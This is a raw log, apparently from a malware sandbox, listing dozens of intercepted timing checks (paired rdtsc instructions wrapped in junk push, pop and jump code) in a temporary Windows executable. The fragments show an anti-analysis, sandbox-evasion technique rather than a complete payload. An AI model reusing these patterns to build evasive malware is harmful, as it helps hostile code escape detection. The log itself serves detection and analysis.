Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC489E second address: BC48C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push esi 0x0000000a pushad 0x0000000b jmp 00007F028C6C4578h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC48C3 second address: BC48C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC765B second address: BC765F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC765F second address: BC7663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC7663 second address: BC7669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC7669 second address: BC7686 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F028D150D38h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BC7686 second address: BC76A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e jmp 00007F028C6C456Dh 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD1175 second address: BD117B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD117B second address: BD1188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F028C6C4566h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD1188 second address: BD1190 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCF78B second address: BCF799 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F028C6C4566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCF799 second address: BCF79D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCF79D second address: BCF7DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F028C6C4570h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jnp 00007F028C6C457Bh 0x00000013 jmp 00007F028C6C4575h 0x00000018 pushad 0x00000019 jne 00007F028C6C4566h 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCF7DB second address: BCF7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCF7E4 second address: BCF7E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCF7E8 second address: BCF804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Eh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F028D150D2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCFA97 second address: BCFAA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCFD72 second address: BCFD9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007F028D150D32h 0x0000000e jmp 00007F028D150D2Ch 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCFD9A second address: BCFDA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCFDA0 second address: BCFDA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BCFDA4 second address: BCFDB3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F028C6C4566h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD0073 second address: BD007D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD035E second address: BD0365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD0365 second address: BD036D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD036D second address: BD0371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD0371 second address: BD0375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD068C second address: BD069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD069B second address: BD06A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD093B second address: BD0943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD0943 second address: BD0947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD0EAC second address: BD0EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4F2B second address: BD4F31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4F31 second address: BD4F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F028C6C4573h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD3ED9 second address: BD3F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028D150D32h 0x00000009 jbe 00007F028D150D26h 0x0000000f jg 00007F028D150D26h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jp 00007F028D150D2Ch 0x0000001f jg 00007F028D150D26h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD3F0B second address: BD3F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4088 second address: BD40AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028D150D36h 0x00000009 jns 00007F028D150D26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4220 second address: BD4224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4224 second address: BD422A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD422A second address: BD4243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F028C6C4573h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4243 second address: BD426B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F028D150D32h 0x00000009 jmp 00007F028D150D32h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4735 second address: BD473B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD473B second address: BD4745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4880 second address: BD4884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4884 second address: BD488E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F028D150D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4B55 second address: BD4B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028C6C4572h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F028C6C456Bh 0x00000011 jmp 00007F028C6C456Bh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4B84 second address: BD4B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4B88 second address: BD4B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4B91 second address: BD4B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4B9E second address: BD4BA8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F028C6C4566h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4BA8 second address: BD4BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4BB7 second address: BD4BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F028C6C4573h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4BD3 second address: BD4BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BD4BD9 second address: BD4BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE0B00 second address: BE0B15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D30h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE0CC9 second address: BE0CE7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F028C6C4575h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE0CE7 second address: BE0CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE0E2B second address: BE0E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 jns 00007F028C6C4566h 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE136A second address: BE1379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F028D150D26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE1BBB second address: BE1BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE1BC0 second address: BE1BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jne 00007F028D150D26h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE1BCC second address: BE1BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE1BD0 second address: BE1BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE1BD6 second address: BE1BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE1BE3 second address: BE1BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE1BE8 second address: BE1C0C instructions: 0x00000000 rdtsc 0x00000002 js 00007F028C6C457Ah 0x00000008 jmp 00007F028C6C4574h 0x0000000d jnp 00007F028C6C456Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE0236 second address: BE023C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE023C second address: BE0251 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F028C6C4566h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d je 00007F028C6C4566h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE0251 second address: BE0256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE7C23 second address: BE7C28 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE7C28 second address: BE7C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jng 00007F028D150D26h 0x0000000c jno 00007F028D150D26h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jp 00007F028D150D26h 0x0000001e je 00007F028D150D26h 0x00000024 pushad 0x00000025 popad 0x00000026 jmp 00007F028D150D32h 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE7C65 second address: BE7C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BE7C69 second address: BE7C79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF4163 second address: BF416D instructions: 0x00000000 rdtsc 0x00000002 js 00007F028C6C4572h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF5FE4 second address: BF5FEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF5FEA second address: BF5FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF5B76 second address: BF5B7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF5CC2 second address: BF5CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF5CC8 second address: BF5CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF5CD2 second address: BF5CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F028C6C4566h 0x0000000a ja 00007F028C6C4566h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF962F second address: BF9634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF9094 second address: BF90BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C456Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F028C6C4579h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BF90BD second address: BF90C2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BFAC34 second address: BFAC51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F028C6C4566h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jnc 00007F028C6C4566h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F028C6C4566h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BFAC51 second address: BFAC60 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F028D150D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BFAC60 second address: BFAC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BFAC67 second address: BFAC7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Eh 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C0B925 second address: C0B940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F028C6C4571h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C0B940 second address: C0B944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C0B944 second address: C0B948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C1140C second address: C11411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C116F5 second address: C11726 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4571h 0x00000007 jmp 00007F028C6C4572h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e ja 00007F028C6C458Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C11726 second address: C1172C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C1172C second address: C11730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C11730 second address: C11742 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
